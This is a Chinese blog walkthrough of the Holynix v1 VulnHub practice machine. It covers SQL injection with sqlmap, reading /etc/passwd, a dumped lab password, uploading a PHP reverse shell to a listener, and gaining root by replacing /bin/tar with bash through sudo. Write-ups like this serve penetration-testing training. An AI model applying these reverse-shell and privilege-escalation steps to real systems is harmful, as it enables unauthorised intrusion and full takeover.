首页 > 其他分享 >Holynix-v1打靶渗透(权限提升)

Holynix-v1打靶渗透(权限提升)

时间:2024-07-30 22:24:00浏览次数:19  
标签:bin 文件 shell tar Holynix 打靶 v1 php tmp

靶机下载地址:Holynix: v1 ~ VulnHub

1. 主机发现+端口扫描+操作系统等信息收集

  1. 确认物理地址

  1. 主机扫描

  1. 端口扫描

  1. 操作系统等信息:

2. 目录扫描

3. web漏洞测试

3.1. 80端口初始页面

3.1.1. Login登录页面

  1. 进入login登录页面

  1. 输入账号密码进行抓包,利用sqlmap进行注入测试

  1. 测试发现存在字符型sql注入

  1. 尝试寻找存贮用户名+密码表【无信息】

  1. 尝试利用sql注入密码,越过审核【万能密码绕过】

  1. 尝试上传文件->权限不足->尝试查看上传的文件

  1. 将文件路径修改为/etc/passwd,点击【Display File】,文件读取成功

  1. 可以根据/etc/passwd这个文件看看有啥其他有bash的账户,可以发现有个用户叫etenenbaum,那么我们尝试SQL注入用这个用户登录

3.1.2. 利用sql注入查询账号密码[etenenbaum:P3n7@g0n0wN3d]

  1. sqlmap -r "test.txt" --dump -dbs –batch

  1. 找到可能的用户信息2

  1. 尝试登录

3.2. 文件上传漏洞

3.2.1. etenenbaum这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。

locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .
vim php-reverse-shell.php

  1. 修改文件内容,将IP设置为kali的IP,端口改为监端口4444

  1. 用tar czf打包文件 -> 进行上传【记得勾选解压gzip文件】
tar czf shell.tar.gz php-reverse-shell.php

  1. 新开一个窗口,创建一个监听

  1. 上传后访问[kali上的]http://192.168.xxx.xxx/~etenenbaum/页面,发现了上传的文件.

  1. 点击访问shell.tar.zip,查看kali监听窗口 -> 获取shell

4. 权限提升

4.1. SUDO提权

  1. 输入sudo -l 查看允许用户使用的命令
sudo -l # 查看允许用户使用的命令

  1. 切换到/tmp目录下,将/bin/bash文件复制到/tmp目录下
cd /tmp
cp /bin/bash .

  1. 更改文件/tmp/bash的所有权,将所有者改为root
sudo chown root:root/tmp/bash

  1. 将现有的/bin/tar文件备份到bin/tar.bak中 -> 将/tmp/bash文件移动到/bin/tar
sudo mv /bin/tar /bin/tar.bak
sudo mv /tmp/bash /bin/tar

  1. 执行/bin/tar命令,成功提权
sudo /bin/tar

标签:bin,文件,shell,tar,Holynix,打靶,v1,php,tmp
From: https://blog.csdn.net/weixin_52487093/article/details/140808090

相关文章

  • Navicat Premium(数据库管理) v17.0.12 授权版
    Navicat17全新升级,软件增强了数据库管理和数据分析的功能体验。其中包括模型设计与同步、数据字典、数据分析(dataprofiling)、用户体验、查询优化、BI功能集成MongoDB/Snowflake、专注模式、Redis哨兵模式与平台扩展LinuxARM等。此次升级让用户在数据库的创建、管理、......
  • Navicat Premium(数据库管理) v17.0.12 授权版
    Navicat17全新升级,软件增强了数据库管理和数据分析的功能体验。其中包括模型设计与同步、数据字典、数据分析(dataprofiling)、用户体验、查询优化、BI功能集成MongoDB/Snowflake、专注模式、Redis哨兵模式与平台扩展LinuxARM等。此次升级让用户在数据库的创建、管理、......
  • 【Vulnhub靶场AI-WEB-1.0打靶教程】
     第一步:查看虚拟机的ip第二步:扫描ip下开放的80端口第三步:扫描查到的ip地址下的目录第四步:访问查到的目录访问robot.txt第五步:访问robot.txt显示出的目录第六步:打开kali终端,使用sqlmap功能sqlmap-u"http://192.168.189.153/se3reTdir777/index.php"-data"uid=......
  • Navicat Premium(数据库管理) v17 授权版
    Navicat17全新升级,软件增强了数据库管理和数据分析的功能体验。其中包括模型设计与同步、数据字典、数据分析(dataprofiling)、用户体验、查询优化、BI功能集成MongoDB/Snowflake、专注模式、Redis哨兵模式与平台扩展LinuxARM等。此次升级让用户在数据库的创建、管理、......
  • 《DNK210使用指南 -CanMV版 V1.0》第十五章 按键中断实验
    第十五章按键中断实验1)实验平台:正点原子DNK210开发板2)章节摘自【正点原子】DNK210使用指南-CanMV版V1.03)购买链接:https://detail.tmall.com/item.htm?&id=7828013987504)全套实验源码+手册+视频下载地址:http://www.openedv.com/docs/boards/k210/ATK-DNK210.html5)正点原......
  • 云原生周刊:Cilium v1.16.0 发布|20240729
    开源项目CyclopsCyclops是一个开源的开发工具,通过易于使用的用户界面简化了Kubernetes,使其更易上手。不再需要使用YAML创建和配置Kubernetes清单,可以使用Cyclops轻松配置和部署应用程序,还包括验证功能!KubetailKubetail是一个用于Kubernetes集群的私有实时日志查看......
  • 010 Editor for Mac(文本和十六进制编辑器)v14.0版
    010EditorforMac是一款十分强大的二进制文件编辑器,可以用于编辑任何类型的二进制文件,包括磁盘映像、可执行文件、媒体文件、数据文件等等。该软件提供了多种文件格式的解析和编辑功能,支持自定义模板,用户可以根据自己的需求创建自己的模板来解析和编辑各种类型的二进制文件。......
  • 一文掌握YOLOv1-v10
    引言YOLO目标检测算法,不过多介绍,是基于深度学习的目标检测算法中最出名、发展最好的检测器,没有之一。本文简要的介绍一下从YOLOv1-YOLOv10的演化过程,详细技术细节不过多介绍,只提及改进点,适合初学者当综述阅读,也适合有基础的同学用于复习回顾。YOLO系列检测器的整体结构包......
  • YOLOv10全网最新创新点改进系列:ICCV 2023 - 动态蛇形卷积(Dynamic Snake Convolution)采
    YOLOv10全网最新创新点改进系列:ICCV2023-动态蛇形卷积(DynamicSnakeConvolution)采用管状结构,拉升模型小目标、遮挡目标检测效果,高效涨点!!!所有改进代码均经过实验测试跑通!截止发稿时YOLOv10已改进40+!自己排列组合2-4种后,考虑位置不同后可排列组合上千万种!改进不重样!!专注A......
  • FP-growth算法药品货位优化系统操作手册V1.0
    未经授权严禁商用,科研合作请联系作者。Email:[email protected]作者:辛昊,青岛大学附属青岛市第三人民医院药学部指导老师:曹建华,青岛大学附属青岛市第三人民医院药学部李春凯,青岛大学附属青岛市第三人民医院药学部思路及创意来源:王丰,西安交通大学医学院第一附属医院药学部......